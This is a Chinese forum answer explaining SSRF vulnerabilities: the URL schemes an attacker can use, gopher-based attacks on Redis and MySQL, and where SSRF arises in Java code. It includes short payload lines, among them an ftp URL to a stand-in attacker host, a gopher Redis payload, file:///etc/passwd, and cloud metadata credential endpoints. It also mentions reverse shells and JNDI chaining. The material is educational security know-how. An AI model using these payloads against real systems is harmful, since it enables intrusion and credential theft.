说说SSRF漏洞 使用到的协议 gopher具体利用方式,Java里的SSRF?

1 个回答

  • 李风
    世界上有两个我,一个想去远方,一个身不由己。
    ### SSRF 漏洞可用协议 1. **http/https** * 最常见,用于请求内部或外部 HTTP 服务。 * 场景:访问内网 API、获取 metadata 服务数据(如 AWS `http://169.254.169.254`)。 2. **file** * 读取本地文件,例如:`file:///etc/passwd`。 * 某些 SSRF 场景下可直接读文件,但现代框架多数禁止。 3. **ftp** * 用 FTP 传输数据,可泄露文件或发起带外通信。 * 例如:`ftp://user:pass@attacker.com/file` 4. **gopher** * 构造任意 TCP Payload,可直接与目标服务交互,利用价值极高(详见下面的 gopher 利用)。 5. **dict** * 字典查询协议,部分环境可用来发起 TCP 请求。 * 例如:`dict://127.0.0.1:6379/info` 6. **ldap / ldaps** * 发起 LDAP 请求,可用于信息探测或攻击 LDAP 服务。 7. **jar**(Java 特有) * 访问 jar 包内部资源,例如:`jar:http://host/file.jar!/`。 8. **其他**(环境依赖) * `mailto:`(发邮件)、`data:`(内联数据)、`ssh:` 等。 ### gopher 协议利用方式 `gopher://` 协议可以构造**原始 TCP 请求**,在 SSRF 场景下可模拟任意应用层协议通信,例如: 1. **攻击 Redis** ```text gopher://127.0.0.1:6379/_%2A1%0A%24%34auth%0A%24%38password%0A ``` * `%0A` 代表换行(CRLF)。 * 可写文件、创建计划任务、反弹 shell。 2. **攻击 MySQL** * 构造 MySQL 登录包进行爆破或利用,难度高,一般用脚本生成 Payload。 3. **SSRF 联动 RCE** * gopher 构造 HTTP POST 请求,打内网未授权的 Web 管理接口。 **核心点**:gopher 在 SSRF 中最大优势是**可控原始 TCP 流**,不受 HTTP 协议限制。 ### Java 里的 SSRF Java SSRF 常见出现场景: 1. **URL 处理类** * `java.net.URL`、`HttpURLConnection`、`OkHttp`、`RestTemplate` 等。 * 如果直接使用用户可控的 URL,就可能 SSRF。 2. **XML / JSON 解析器** * 如 `SAXParser`、`DOMParser`、`Jackson` 里可加载外部实体(和 XXE 联动)。 3. **中间件组件** * **Spring Cloud / Spring Boot Actuator**:内部接口可发 HTTP 请求。 * **Apache HttpClient**:未过滤 URL 时可 SSRF。 4. **云环境特有 SSRF** * 通过 SSRF 访问云平台 metadata 服务获取临时凭证: * AWS: `http://169.254.169.254/latest/meta-data/` * 阿里云: `http://100.100.100.200/latest/meta-data/` 5. **JNDI 联动** * SSRF 请求 LDAP/RMI 服务器加载恶意类,结合 JNDI 注入可直接 RCE。
    发布于 2025-08-12 04:59 •IP属地 上海
    举报
    评论
    收藏